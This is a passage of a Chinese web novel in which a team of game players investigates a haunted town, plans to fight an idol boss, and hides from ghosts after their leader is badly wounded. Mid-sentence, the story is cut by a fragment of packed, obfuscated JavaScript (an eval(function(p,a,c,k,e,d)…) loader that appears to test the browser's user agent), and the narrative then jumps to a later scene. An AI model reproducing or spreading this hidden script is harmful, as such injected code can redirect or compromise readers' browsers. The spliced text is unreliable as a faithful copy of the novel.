之前注意力都在里镇志上,直到看到这些小孩儿,付井仪才意识到,一楼竟然是一处官学。他一愣之下还没说话,那些小孩儿就先叽叽喳喳、你一言我一语地说了起来: “别赶我们走。” “你是新来的夫子吗?你为什么这个时候来呀。” “我们不是小偷,是李爷爷让我们过来的。” 付井仪安静地听了一会,也算是明白状况了。原来这几个孩子家中已经没有大人了,里正也处理不了,只好先接到官学里来,只是今天照顾他们的夫子没出现……恐怕也是凶多吉少了。 “夫子,我们昨天念到江左的诗文了。”一个看起来大一点的小孩说,怯生生伸出小手,拉住付井仪的衣角,将他带到桌前,给他看摊开的书。 “要念吗?”付井仪轻声问他们,小孩儿们都聚拢过来,小心翼翼地点点头。 只是一首诗而已,也花不了太多时间,于是他便按住书页,给这群小孩儿,一字一句地读了起来。他读一句,那些小孩子接一句。 “泻水置平地,各自东西南北流。” “人生亦有命,安能行叹复坐愁?” “酌酒以自宽,举杯断绝歌路难。” 听着这些孩子稚嫩的声音,付井仪的手指越发收紧,种种思绪,最后也只是化作了无声的叹息。 他沉默良久,才在那些安静的注视中读出最后一句诗。 “心非木石岂无感,吞声踯躅不敢言。” 心非木石岂无感,吞声踯躅不敢言。 当行守和曲小蕨返回凉棚时,其他人都已经在那里了。 也不知道行守到底说了些什么,曲小蕨已经冷静下来,甚至为之前的冲动有些不好意思,低着头,不敢看其他人,尤其是付井仪。 还好付井仪也没再提之前的事情,只是说:“既然大家都回来了,那么有件事情要告诉你们。” 都是一起度过好几天的人了,队友们都知道,一般他这么说话的时候就意味着有好消息,顿时几双眼睛都看了过去,便听到他淡淡道:“只是一个推测,我自己也没有把握,本来还想再观察一下。但是考虑到大家的情绪问题,那就提前说出来吧。只是不能够百分百确定的情况下,也不要抱太大期望,以免落空之后过于失望。” “你说吧。”行守说,“有办法总是好的,我们都相信你。” 付井仪微微点了点头,便道:“之前在那本里镇志中提到过,阿里曼圣像最后被人带出了小镇,你们还记得么?” “当然,只是我们不知道究竟是谁带走了它。”唐逐星接话道。 “我又看了后面的几页。”付井仪说,“因为种种原因,那些文字辨认起来有一定的难度,但是也能推测出来,后面有僧人为亡魂办了一场简单的法事。” 说到僧人,大家都下意识地看了看行守,但也没懂付井仪的意思,尹有攸问:“然后呢?” “我直接说出我的推测吧。”付井仪说,他的声音并不算大,但落在几个人耳中,却犹如春雷炸响、拨云见日,“我认为,带走那尊圣像的人就是我们自己。” “这不对啊!”惊讶之下,曲小蕨也不尴尬了,脱口问道,“我们根本都出不去这个镇子,怎么带走佛像呢?” “正常情况下是出不去,因为荒魂镇的地图范围就只有这么大,可以说,镇子的边缘就是这个世界的边缘。”付井仪的语气一直很平静,但他说出的每一个字都像投进深水中的石子,掀起巨大的波澜,“但还有一种方法,能让我们离开荒魂镇,那就是……通关。” 不光曲小蕨目瞪口呆地看着他,其余人脸上也出现了愕然的神情。 “你是说……回客栈?” 付井仪干脆地点点头:“对。唯一能让我们正常离开荒魂镇的出路就是通过蒋玉凤回到有间客栈,假如我们在那个时候带上圣像,那么就很有可能可以将它一并带回客栈,自然也算是带离了镇子。” 这个猜想听起来太疯狂了,但仔细一想,竟然又还算合理。但是还没等众人开始高兴,付井仪便又泼了一盆冷水。 “但不要忘记,庙里还有残留着圣像的投影。” 他说:“我个人觉得,那投影就和第一天湘竹溪的小谷一样,是我们最后要面对的关底boss。关于它们二者之间的关系,我的猜测是,圣像只是一个供奉所用的道具,而那投影,就是它通过吸取镇民生命孕育出的‘阿里曼’。如果我猜得不错的话,那个投影应该会和这圣像同步生长,而且越来越凝实,直到它拥有实体,阿里曼就该苏醒了。” 一尊苏醒后的邪神,想来不会做什么好事。 “所以,我们还要把它干掉。”尹有攸说。 付井仪微微颔首:“其实我们完全可以避免战斗,等第三天的时限一到,立刻找蒋玉凤传送回客栈。但届时如果红河渡还有生还的镇民,就无法在邪神的力量下幸存了。所以……” “爷们要战斗!”曲小蕨立刻说,被行守敲了下脑袋立刻改口,“我选择战斗!我要扼住命运的咽喉!” 本来有点僵冷的气氛,因为这个猜测重新变得活泛起来。有方向去努力总比四顾茫然要好得多,看看众人都一副蓄势待发的模样,付井仪不得不强调:“这已经是第五天的夜晚了,鬼魂数量会进一步增加,不要轻敌。” 其实为了尽量将这个猜测说得简洁易懂,他已经省略了很多思考的步骤。那个结论是他参考了镇民数量、死亡速度、游戏时长和第三天的难度综合得出的,也是目前唯一逻辑可以自洽的推测。 只是关于具体的战斗时间,付井仪并不太确定,因此,在确定之前,他最初并没有打算把这个猜测告诉大家。只是看着队友们明显如释重负的表情,猜测正确与否也无所谓了,人有时候就是需要一点希望,就像破开灰暗的云层后透出的一缕天光。 “就是这些了。”他说,沉默了一下,又道,“我知道大家心里都很压抑,但再坚持一下吧。记住,浪客行是一场游戏,游戏的判定一般只会读取你的行为,而非想法。所以重要的是你做了什么,而不是你怎么想……无论遇到怎样的情况,至少请你们将自己的安全优先放在第一位,不仅是生理,也包括心理;不仅是现在,也包括以后。” 吱呀—— 明晃晃的月光洒下来,照亮了阴森幽暗的小镇。随着庙门被推开时发出的长长一道响声,在破庙周围徘徊的几只鬼都缓缓地转过身,空洞无神的眼睛注视着那个方向。 什么也没有,看起来似乎是一阵风将那扇摇摇欲坠的门吹开了。 那庙中阿里曼圣像的投影让这些由镇民 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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为了减少这一招发出的动静,行守的动作十分缓慢,但他也知道,这一招的力道并没有因为动作缓慢而衰减多少,但那虚影——不,现在已经不能叫它虚影了,那邪神托住燃木的一瞬间,他竟然感到这金刚棍就像砸在了水泥墙上一样,一丝晃动也没有。 但她只做了这么一个动作,就又停下来了。行守手上用力,把燃木抽了回来,也没遇到什么阻力。再看这个邪神,就维持着单手上举的姿势,再次陷入了静止。 还没有完全苏醒。付井仪简单地打了几个手势和队友们交流:目前只能自保。 唐逐星双指并拢在颈边轻轻一划:打? 尹有攸点点头,而行守垂下手,按住了曲小蕨的虫笛,朝她微微摇头。 曲小蕨退而求其次,对蛇哥一通比划,指指那邪神:狠狠咬! 付井仪也抽出琴中剑,又把琴背回身后。 在极短暂的一霎静默之后,五个人齐齐行动起来,各自门派的伤害技能如暴雨一般,劈头盖脸地朝那邪神打去! 即使那邪神有意用手臂挡住,也挡不住这么多招式,顿时左支右绌,露了漏洞,将自己暴露在这些伤害技能之下。几乎是瞬间,众人都感到了行守曾经感受到的那种感觉,技能打下去就像打在了坚硬的石头上,但这石头仿佛有生命一样还会微微呼吸,那种诡异感令人非常不适。 但好在,伤害技能对这不完全的邪神是有效的,就见一通爆发输出之后,那邪神身上的皮肤竟然崩裂开来,脱落的皮肤像石屑一样纷纷掉落。仔细一看,没有了那细腻肌肤包裹之后的手臂,竟然是人身和石头的混合体,无数细小的血管扎根在灰黑的石刻之中,但一滴血都没有流出来。 随着崩裂的“皮肤”越来越多、纷纷脱落,那尊邪神整个也变了一副模样,除了脸部完好无损之外,整具身体就像爬满了无数蜿蜒血蛇的人形石块,狰狞可怖。 有效!曲小蕨竖起拇指,指了指邪神:朝头猛攻! 无需更多交流,几人再次各自施放技能,朝那邪神攻击而去。眼看这第二波攻击就要落在邪神身上,那邪神却忽然一咧嘴角,露出鲜红的舌与森白的齿,笑容中顿时有了些狰狞恶毒的怨恨。 唐逐星愣了一下,脸色一变,急打手势:小心! 就在他做出预警的同时,那邪神竟然张大嘴巴,从喉咙中传出一阵凄厉至极的尖叫,顿时划破了一片死寂的小镇夜空! 这阵尖叫仿佛一柄利剑直直地穿透了耳膜,几个人虽然提前有了预警,但在听到的时候,大脑一震,竟然有了片刻的空白,随后眼前一花,紧接着就是一阵炸裂般的疼痛,甚至脚下也跟着踉跄了起来。 尹有攸更是首当其冲,闷哼一声,耳边的黑发竟然已经被流出的两道鲜血濡湿了。 那邪神还在持续不断地尖叫着,现在保持安静已经没有意义了,付井仪单手按住耳朵,忍住疼痛高声道:“别听这声音,先远离它!” 行守拉了尹有攸一把,几个人从破庙的正门冲了出去,但刚一出庙便停下了脚步。 残月高悬,惨白的月光将荒魂镇照亮得一览无余。在月光下,这个破败的镇子仿佛翻涌着灰白色的海浪,但定睛一看,就能发现,那是被邪神尖叫声吸引来的无数鬼魂,这数量甚至比湘竹溪的尸人更加夸张。 “不要硬碰硬,先跑!”付井仪喊道,在那凄厉怨毒的尖叫声中,他几乎已经听不到自己的声音了。 对于逃跑,已经跑了四晚的他们可谓是轻车熟路。趁大批鬼魂还未聚集到庙前,四人选了个鬼魂相对较少的方向,二话不说,各施手段,开始拉开与鬼魂们的距离。远离了那不停尖叫的邪神之后,几人才感到耳膜与大脑的疼痛渐渐缓解,唐逐星便道:“堵住耳朵硬把它弄死也不是不行,但这些鬼魂不好处理。” “鬼魂惧怕阳光,只在夜间出现。”付井仪边跑边说,“圣像不受昼夜变化的限制,所以如果我没猜错的话,那个投影在成长到足够的程度时也会出现在白天,那就是我们的机会。你们有没有发现,之前我们也击杀过鬼魂,却没有技能掉落?” 进入荒魂镇以来发生了太多事情,他如果不提起掉落,几人却还真都忘了。行守一愣:“难道……我们只能摸boss掉落?” “有八成几率是这样,也许是因为第二天我们在古祭坛那张地图规避掉了和娜迪亚的正面作战,游戏便通过这种方式逼迫我们和boss战斗。”付井仪道,看过了邪神投影之后,他终于能把推测出来的战斗时间告诉大家,“如果它就是关底boss,从它成长的速度来看,大概在明晚就能完全拥有实体了,所以明晚对我们来说很危险。而第七天白天,也就是我们能离开荒魂镇的时候,就是我们正面和它作战的时间……如果错过了这次机会,让时间发展到第七天的夜晚,那就很糟糕了。” “懂了,就是说先活过这六个小时,之后再立刻爆锤它。”曲小蕨总结。 “……也可以这么说吧。” “嘘。”唐逐星放慢脚步,示意众人噤声,“前面有鬼。” 这里已经远离了破庙,不少没有被惨叫声吸引的鬼在街巷之中游荡着。大家也算是经验丰富,也不用再沟通,就各自散开,从那些鬼魂的视野盲区穿过了。既然要和boss作战,那么最终还是要回到破庙去的。他们跑远之后,那邪神也不再惨叫了,众人连比带划,确定下来,天亮时回到破庙集合,顺便观察一下,这邪神投影在白天到底会不会出现。 两个小时的时间一晃而过,天色将亮时,五人都已经各自回到了破庙附近。 此时,那些被吸引来的鬼魂已经散得差不多了,可能是害怕邪神,也可能是对庙宇仍然留有一丝畏惧,即使破庙后面就是镇子的坟岗,这周围的鬼魂,也反而是整个荒魂镇里相对较少的一部分。 透过半掩的门,能看到,那尊邪神投影依然维持着之前皮肤尽数龟裂的状态,恐怖得很,哪还有什么“宁静恬和”的模样,只是她的嘴已经闭上了,嘴角微微勾起,还是露着莫名的微笑,就好像之前的一切都没过发生一样。 几个人各自绕过在破庙前徘徊的鬼魂,从它们背后的视线盲区蹑手蹑脚地经过,倒有点像游戏里需要躲NPC面向的潜入任务。眼看天都要亮了,鬼魂也躁动起来,开始向尹有攸扔掉圣像的那个地方移动。 曲小蕨在一堵庙墙之后朝他们招手。付井仪闪身避过擦肩而过的一只鬼魂,正往那边过去,却忽然觉得有哪里不太对劲。 他看到不远处也在躲避的行守,一下子明白了是哪里不对。 行守曾说过,阿里曼统领六大恶魔,而镇民们每一夜变成的鬼魂都对应一种恶魔。可是昨夜,他们见过了那么多鬼魂,却没见过理应出现的新鬼。 第一夜是饥渴——拔舌,第二夜是恶意——挖眼,第三夜是炽热——焦枯,第四夜是背叛——剜心,那么还剩下的就是混乱和破坏…… 他边想着,边轻轻侧身绕开两步,绕到身前那只鬼背后的视线盲区。这是一只女鬼,低着头,散乱的黑发披在背后,看不清究竟是代表了哪种死法。付井仪刚要离开,却忽然一愣。 就在这一瞬间,透过那女鬼长长的黑发,他看到了一只鲜红充血的眼睛,正充满怨毒地盯着他。 这只鬼竟然是面朝着他的!她的头竟然与身体反转了180度! 天都亮了,疑惑于付井仪为何还没过来,曲小蕨从墙根后面探出个脑袋,向后看去。 这一看,她竟然看到了令她全身血液几乎瞬间凝固的一幕:就在她面前不远处,一只女鬼的身形正因为阳光而迅速消散,但她的左手竟然直直地穿透了付井仪的胸口! 那涌出来的鲜血几乎瞬间就被鬼魂周边的阴寒气息冻结在一起,鲜红的薄冰从心口开始蔓延,随着鬼魂消散又化成了血,瞬间就染红了长歌月白色的校服。 18. 第三天·荒魂镇(十八) 原来人在神经绷紧到极度的时候,真的会来不及思考任何事情。 曲小蕨眼睁睁地看着女鬼消失在阳光下,而付井仪已经倒了下去。和电视剧或者小说里无限拉长的慢镜头不同,这一切只是一眨眼的工夫,就那么一瞬间,青石板铺就的街道上便晕开了大片鲜血。 她的大脑依旧是一片空白,但是身体已经先于思维动了起来,用她能爆发出的最快的速度翻过了那道矮墙。她看到行守脚下忽然开出六瓣灼目的金莲,也看到尹有攸解下了腰间的酒坛将它抛向半空,但根本无暇思考这些都意味着什么。 回过神来时,她发现自己跪坐在血泊里,手指正透过浸满了血的缕缕黑发,搭在付井仪的颈侧。 微弱的跳动从指尖传来。 曲小蕨松了口气,两腿一软,直接跪坐在了血泊里,直到这一刻,她才真正地被迟到的巨大后怕感淹没了,恐惧到了极致的时候,甚至连眼泪都流不出来。 她手忙脚乱地翻出小队仓库里的凝血精和绷带,却发现自己的手抖个不停,还是唐逐星拍了拍她的肩膀,从她手上接过了那些东西,和尹有攸小心翼翼地将付井仪扶起来。 “血止住了……应该是没事了。”他说。 行守的胸前也有一片血迹,他咳了两声,也拿过一瓶凝血精灌了下去:“还好笑醉接得及时,不然我也得把自己舍没了。” “贯穿伤,伤得太重了,舍身接共醉都差点奶不住。”唐逐星道,拿了绷带又来给行守包扎,“还是得回客栈才行。” 曲小蕨爬起来,轻手轻脚地凑到尹有攸身旁。付井仪胸前的伤口已经被包扎好了,只有校服上还残留着大片触目惊心的血渍,而他本人面色苍白,呼吸微弱,似乎是陷入了深度昏迷之中。 今天的红河渡,街上空无一人,只有偶尔几声犬吠,静得吓人。阳光虽然照旧灿烂,但照在这被血染红的青石板路上,却似乎冰冰凉凉、毫无温度。 离第三天结束起码还要四个小时,而在回到客栈之前,他们还要和那尊阿里曼邪神进行最后一战。 如果不是行守有舍身,如果不是尹有攸有洗了共醉奇穴的笑醉狂,如果不是刚好天亮了,如果他们的反应再慢上一点…… “别愣着了。”唐逐星皱紧眉头,站起了身,“我先去庙里看看那个虚像在白天会不会出现,你们……” 他欲言又止,似乎也不知道该怎么办好。 面对现在的这种情况,所有人都是一筹莫展。 “笑醉CD缓好了,我再试试。”尹有攸忽然说。 他说话的音调不知为何有些奇怪,想想也是,没有人能在这种情况下继续保持平常的心态,曲小蕨甚至觉得付井仪倒下去的那一幕,将是她从今往后很久一段时间都能在噩梦里看到的画面,回想起来就会冷汗涔涔。 尹有攸解下酒坛,烈酒随着他的动作从坛口倾倒出来,溅洒在地面,浓郁的酒香冲淡了挥之不去的血腥气。笑醉狂,丐帮最重要的回复技能,搭配共醉奇穴的情况下能为小队成员恢复气血,但随着一整个完整运功的笑醉结束,付井仪的情况也丝毫没有改善。 “奶不起来?怎么会奶不起来?”曲小蕨慌得不行,赶紧又伸手试了试付井仪的呼吸,确定还有细微的气流才稍稍放心,“到底怎么了啊!” “……也许是他的伤势已经超过了我们能自行回复的限度。”行守沉声道,他很少用这么凝重的语气说话,“唐逐星说得对,必须回到客栈才能恢复。” “那今晚怎么办?付井仪说过,今晚是最危险的一晚。”曲小蕨想起昨夜看到的鬼魂数量,头皮一麻。 “我来带他。”行守说,“那些鬼魂对少林弟子还是有些忌惮的。” 虽然随着时间的推移,这种忌惮已经被逐渐削弱,但起码还是管点用的。加上付井仪受了重伤呼吸微弱,很难被察觉,也算是不幸中的万幸了。 事实上他们根本都没有想到,被这些鬼魂近身之后的杀伤力竟然如此恐怖;这也是因为前几夜鬼魂的密度还没有那么大,现在它们的数量翻着倍地上去了,一下子便有些应对不及。 说话间,唐逐星便回来了,还顺带把尹有攸丢在猪圈里的那尊圣像捎了回来。一如付井仪之前所推测的那样,那个只在夜间出现的虚影,在白天也有了隐约模糊的身形,虽然还未凝实,但看“她”似笑非笑的神情,似乎随时有可能睁开眼睛。 交流完状况,众人就沉默了下来,谁也没心思说话了。 曲小蕨的心情从来没这么复杂过,她一边焦急地期待着第三天快点结束、回到客栈,一边又非常害怕今夜的到来。只有一点她是可以确定的,她不想也不能失去任何一个队友,如果他们之中有人死了的话,她完全没办法想象自己会做出什么样的反应。 最后还是行守打破沉默:“走吧,我们离这座庙远一点。” 曲小蕨把付井仪掉落在血泊里的琴抱了起来。他们都站起来了,尹有攸才慢半拍地将付井仪背了起来,默默地跟上。 “别这么丧。”唐逐星道,“今晚至关重要,都打起点精神来。” 虽然这么说了,但他自己的语气也很低沉。 似乎从进入荒魂镇这张地图以来,他们面对的就一直是接二连三的打击,从心理,到身体,众人的精神都承受着无边的重压。 ——他们的脾气各不相同,曲小蕨年纪还小,唐逐星个性散漫,尹有攸不爱表达,也就行守相对稳重一些。而付井仪无疑是这支队伍中的大脑,只要有他在,每个人都能发挥出自己的最大优势,就好像无论面对怎样的困境都总能找到出路一样。 而付井仪受伤,是所有人都压根没有想过的意外情况。 无论众人心里各自都是怎么想的,时间也不会停止流逝。随着香篆钟又落下一截香灰,天色也由明转暗,他们在镇子的另一端,默默地看着荒魂镇的模样再次显现出来。 第六天,他们在荒魂镇的最后一晚,就这样在沉默之中开始了。 阴冷的风携带着纸钱纷纷扬扬地落了下来,栖在枯枝上的夜枭古怪地啼鸣着,凄凉的声音如同悲泣。第六天的夜晚,荒魂镇似乎更加破败了一些,惨白的月光如水般流泻在大地上,拉出孤零零的几道身影。 “小付老师就交给我吧。” 行守说,在尹有攸身前半蹲下身子,唐逐星搭了把手,将付井仪挪到他的背上。 曲小蕨轻轻地攥了攥付井仪垂在身侧的手指,冰凉冰凉的,几乎没有一点温度。 她问:“我们今晚还分开走吗?” 以往这些问题都是由付井仪做决定的,行守想了想,一时还真拿不定主意。按理来说,分开行动是最好的,以免大家聚集在一起引来鬼魂注意,但现在情况不同,一起走反而能更好地彼此照应,尤其是遇到像昨天凌晨那种突发情况的时候,是很需要救急技能的。 这种一锤定音的感觉难免让人有些忐忑,尤其是在做出堪称生死攸关的抉择之时。他紧皱眉头,最后还是下定了决心:“一起吧。我们保留体力,不要跟那些镇民的鬼魂硬碰硬,为明早真正的决战养精蓄锐。” “好!就当是玩捉迷藏好了。”曲小蕨说。她前几夜都没像现在这么紧张过,心里有一种“终于要结束了”的感觉。 虽然是黑夜,但月亮高悬在天空,整个荒魂镇并没有多么阴暗,能见度依然很高。这大概也是游戏的难度之一,根据昨夜那些鬼魂的表现来看,它们的听力不仅变得极其敏感,也在逐渐拥有视力。想来到今晚,它们也就能看见玩家了。 ——也就是说,他们要同时满足不被看到、不被听到和屏住呼吸三个条件,才有可能逃脱鬼魂的追逐。 像这样大喇喇站在荒地中间显然是不行的,目标也太过明显了。还好荒魂镇虽然破败,但多少也剩了点屋宇的废墟,可供人躲藏。他们刚刚轻手轻脚地挪进了一栋破屋坍塌一半的房檐之下,就听到远处传来了低低的哀嚎声,那些鬼魂已经自圣像中“刷新”出来,慢慢地游荡过来了。 唐逐星借着瓦砾的掩护,微微探身一看,在心里暗骂了一声。 这些鬼魂的数量未免也太夸张了,几乎每条小路上都有几只鬼在徘徊着,放眼望去,灰白的身影几乎布满了目所能及的每一处,而且它们还在漫无目的地飘荡,已经越来越接近了。 那些死状各异的鬼魂无不是面目狰狞,光是看着就已经让人感到很不适了,一想到它们曾经都是没能救下的镇民,他们的心里便更不是滋味。只是现在,躲开鬼魂安全回到白天才是重中之重,再加上付井仪受了重伤,也算是以一种比较极端的方式暂时转移了大家的注意力,让他们无暇思考太多。 人都是这样的,顾此则失彼,即使心里有再多不甘,也只能暂且按捺住。 已经有鬼飘到了他们所藏身的破屋之前,几个人屏住呼吸,行守先背着付井仪蹑手蹑脚地转移到旁边的断墙之后。 “呀——” 一声突兀的鸣叫响起,把几个人都惊出一声冷汗,原来是一只扑扇着翅膀的寒鸮落在了他们身后的一口枯井边缘。然而,还没等他们松口气,就看到周围的鬼魂被这只寒鸮发出的声音吸引,快速聚拢过来。 “!!” 这紧急情况出乎意料,行守猛地俯身,唐逐星也一手一个按住尹有攸和曲小蕨的后脑,三人快速地伏在了地上。粗糙干枯的草叶划过脸颊,离得近了才能嗅到,荒魂镇的土壤竟然腥臭无比,呛得人几乎要窒息,但他们也不敢大口呼吸,只能忍受着那股令人头晕目眩的臭味。 还好那些鬼似乎对除了人之外的动物并不在意,等游荡到近处,看清那发出动静的只是一只鸟,又没了反应。只是这样一来,聚集在他们周围的鬼魂顿时就多了起来。隔着一堵墙,已经能感觉到那种阴寒森冷的气息透过衣服直直地渗透进骨髓之中,让四肢都开始逐渐变得僵硬。 这样下去并不是办法,尤其付井仪只是呼吸微弱,在没有自主意识的情况下,难以屏住呼吸,迟早会被察觉。这样想着,唐逐星就感觉手底下曲小蕨的脑袋微微动了动,而他自己,也逐渐感觉肺部发紧,有些要憋不住气了。 “咕——咕——” 伴随着一阵巨大的蛙鸣,附近徘徊的鬼魂猛地转过身,便看见一只古怪的蟾蜍从断墙后面跳了出来,一路鼓噪着,飞快地朝另一个方向跳去。 那正是曲小蕨的玉蟾。 玉蟾一边跳一边叫,那些反应迟缓、只听到了声音的鬼魂,就傻乎乎地被吸引过去,追着它飘远了,也算是解了燃眉之急。然而更多附近游荡的鬼魂却没有追逐它离开的意思,仍然漫无目的地徘徊着。 但无论怎么说,现在周边的鬼魂数量也算是减少了一些。唐逐星不再犹豫,抽出别在腰上的螭首千机,就要站起来。 看到他的动作,其他人便知道他要做什么了,曲小蕨急得扯了扯他的衣服后摆,但却不能说话,也无话可说。必须有人引开这些不断靠近的鬼魂,而他们甚至连一句小心的叮嘱都没法说出口,只能眼睁睁地看着唐逐星端起螭首千机,跃过断墙,像一阵疾风一样从几只鬼魂的身边掠了过去。 作为一个唐门,他平日里跑起来脚步声是很轻的,现在却有意加重了步伐,那沉重的脚步声立刻就吸引了鬼魂的注意,其余人只看到无数灰白色的影子从他们都未曾注意的阴影和拐角中浮现出来,紧追着唐逐星飘远了。 而最让他们心惊的是,甚至有一只鬼不知何时已经无声无息地摸到了他们藏身的这堵断墙的正上方,但凡唐逐星再晚些起身,他们都会在一无所知的情况下被发现。 这些鬼魂一撤走,周围立刻出现了一片空白区域。三个人立刻坐起来大口大口地喘息着,直到空气涌入肺里的一刻,才感觉活了过来。 行守掏出香篆钟看了一眼,他们现在真可谓是度日如年,明明只过了不到半小时,却已经在心里急切地期盼着天亮。 这地方对他们来说有视觉盲区,肯定不适合再藏身了。趁着两波被引走的鬼魂都还没有回来,三人带着付井仪再次转移位置。不是所有的鬼魂都去追唐逐星了,还有零星几只在原地滞留,而他们一边走还要一边提防着鬼魂会不会杀个回马枪,几人的神经都是高度紧绷,脚步声也放到了最轻,四下里除了阴风拂过枯草发出的沙沙声,就再也没有其他动静了。 他们像这样专挑着鬼魂看不见的盲区走,不知不觉便走到了荒魂镇的乱葬岗。 其实这里几人倒也不陌生,前几夜四处逃跑的时候就来过了,但这里无疑是整张地图最阴森的地方,遍地都是大大小小的坟茔,枯草丛生,鬼火闪烁,甚至连一处稍微好点的碑立都看不到,全是无名无姓的孤坟,遍地被黄土掩埋半截的白骨,甚至还有一口横陈的空棺。 “糟糕,怎么走到这里来了……” 行守在心里暗道不妙,因为这乱葬岗地势一览无余,除了中间有座看起来像是义庄的残破建筑,没有任何适合藏身的地方,但为了绕开鬼魂,却只有这一条路可走。 就算是那义庄,也坍塌得差不多了,只剩个骨架子和一张孤零零的供桌了,看那供桌底下似乎还能藏人。 “这里不能久留,我们得穿过——”行守低声道,话还没说完,就看到远处灰白色的影子缓慢地翻涌着,竟然是那些鬼魂去而复返。他心里顿时就是咯噔一声,心想唐逐星不会出事了吧。转念一想,却应该是他迫不得已交了隐身,那些鬼魂找不到目标,才又恢复了漫无目的的行动模式。 前面鬼魂正在接近,他们立刻转身,准备向后去,却不想这一回头,又看到身后也是涌来大批鬼魂,这却是方才那些去追玉蟾的鬼魂回来了。 眼看着前后都成了死路,曲小蕨突然灵机一动,一拽行守,指了指那口空棺:“师父,进棺材!” 以前看的那些恐怖小说,实属是在这个时候派上用场了。 都到这种紧急关头了,行守也不磨蹭,尹有攸把那空棺的棺盖搬开,两个人小心翼翼先让付井仪躺了进去。这看起来太不吉利了,然而也顾不上太多,眼看那棺材最多只能再塞一个人,曲小蕨毫不犹豫,推着行守就往里塞,压低声音道:“师父快进,我和尹有攸去那个桌子底下,小付老师的安全就交给你了!” “你们……”行守还想说什么,眼前却是一黑,尹有攸动作十分迅速,直接将棺盖推上了,只在边缘留了条小缝隙透气,他甚至还听到了诡异的沙沙声,却似乎是他们在往棺材上撒土,想来是在试图用腥臭的泥土来掩盖呼吸时的气息。 手忙脚乱地处理了一下棺材后,鬼魂们也快到眼前了。曲小蕨还在撒土,忽然感觉身子一轻,已经被尹有攸提了起来,一个烟雨行就扎进了那处义庄废墟,随后就被囫囵地塞进了供桌底下。 供桌上还盖着长长的红布,因为年代久远已经褪色得差不多了,斑驳破烂,漏了好几个洞,却方便了她从这些小洞里观看外面的景色。曲小蕨刚把眼睛凑过去,就感觉浑身一阵冰凉,赶紧屏住呼吸。 “呼……” 一阵阴风飘过,一个双目被剜去的女鬼赫然出现在义庄门外,她狰狞的脸上似乎有些疑惑,不明白刚刚感知到的气息去哪里了,喉咙里发出嘶哑的咯咯声,就在门口徘徊不前。 好险好险,还好它看不见。 曲小蕨松了口气,掏出香篆钟,打开盖子又看了一眼。木盘香静静地燃烧着,那不紧不慢的速度看得她心中焦急万分,恨不得一眨眼就是天亮。 这绝对是她玩过的最惊心动魄的一场“捉迷藏”。 供桌底下的空间逼仄狭小,这期间里,他们每当要憋不住气就赶紧呼吸两口,在女鬼有所察觉前又赶紧屏住气息,曲小蕨再放个宝宝吸引一下注意力,也算是勉强糊弄过去了。眼看香灰终于又落了一大截,胜利在望,曲小蕨稍稍放心,又凑到那破洞前看了一眼,结果这一眼却吓得她魂飞魄散,差点叫出声来。 从她的角度刚好可以望见行守与付井仪藏身的棺材,只见那棺材前面不知何时竟然围着了两只恶鬼,看它们的模样,似乎对棺材很感兴趣,正试图搬开棺盖。而行守在棺材里显然也是有所察觉了,不知道用了什么方法死死地拽住了那盖子,让鬼魂一时半会掰不开它。只是随着他们不停地角力,越来越多的鬼魂察觉到了异常,正在逐渐往那个方向靠拢,连他们门前这只女鬼都飘了过去。 她正感到心惊,忽然眼前一暗,隔着那桌布上的小洞,竟然看到了自己模糊不清的倒影。不过一瞬,曲小蕨立刻反应过来,那是一只完全没有眼白的、黑漆漆的眼睛,正贴着那块红布朝桌底看过来! 这一惊非同小可,曲小蕨吓得差点窜起来撞翻桌子,还好旁边的尹有攸一把按住了她的肩膀,才没搞出太大动静。而那只眼睛也被曲小蕨的动静惊扰到了,满是褶皱的眼睑突然翻了下来,一张惨白的脸从那破洞前一闪而过,远离了桌布。 完了,被鬼发现了!曲小蕨想着,浑身僵硬,一动也不敢动,直到她忽然听到了细微的羽翼扑动声。再仔细一看,落在供桌不远处的,分明是一只白面的夜鸮,也被吓得不轻,正扑扇着翅膀原地踱步。 原来只是一只鸟。曲小蕨松了口气,但很快又重新紧张起来,刚刚这一打岔又浪费了一些时间,聚集到那口棺材周围的鬼魂越来越多了,那种极度阴冷的气息,连他们这张供桌底下都能感受得到。 尹有攸松开按住她肩膀的手,在自己颈间捣鼓着什么。曲小蕨侧脸一看,就发现他从胸前的红绳上解下了一枚铜钱,横放在食指和中指之间,一抖手腕,那铜钱竟然直直地穿过桌布上的小洞,准确地打在了那只夜鸮的翅膀上! “呀——呀——”夜鸮吃痛,尖利的叫声立刻划破了寂静的夜空,顿时,不远处那灰白色鬼魂构成的海洋就齐齐一顿,被这声音吸引了注意力! “牛哇!” 曲小蕨大喜,趁乱又放了蜘蛛出去浑水摸鱼,试图带走一部分鬼魂。而那夜鸮虽然被铜钱击中了翅膀,但尹有攸收了力度,并没有伤到它多少,它已经展开翅膀准备飞向夜空。鬼魂虽然有视力,但也只对近处的东西敏感,夜鸮飞起来又很快,只能看到一团模糊的黑影,想必能吸引到很多鬼魂追随而去。 她还这么想着,就看到那夜鸮刚展开双翼,两爪蹬离地面,却忽然被一把拽了下来。 拽它下来的,赫然是一只鬼魂。 这只鬼魂和他们前五夜见到的都不同,他也同样有着狰狞可怖的扭曲五官,但周身是完好的,完全没有明确的损毁。也是因为如此,曲小蕨一眼就将他认了出来:是那个茶馆的老板。 夜鸮被粗暴地揪住了翅膀,凄惨地哀叫着,拼命挣扎,羽毛扬了满天。但这只鬼魂并没有因为它是一只鸟而放过它,相反,他长大了满是獠牙的嘴,直到下巴和喉咙成了连在一起的深不见底的一个黑洞后,竟然将那只夜鸮直接塞进了嘴里,狠狠咬下! 令人毛骨悚然的骨肉断裂声传来,那夜鸮的挣扎和惨叫同时戛然而止。外面一瞬间又安静下来,仔细听也不是完全安静,细小的窸窣声响个不停,还伴随着吮吸鲜血的哧哧声和咬断骨头的闷响,沾了血的羽毛落了一地。 曲小蕨眼睁睁地看着那曾经和善的茶馆老板活活将夜鸮一口一口连骨带肉地嚼烂,同羽毛一起吞下,鲜血顺着他的嘴角汩汩流了下来。那画面又怪异又恐怖,曲小蕨浑身僵硬、遍体生寒,却又跟中邪了一样没法挪开目光,只能看见两只僵硬的钩爪也被折断吞下,一只手臂长的夜鸮就这样被吞吃殆尽了。 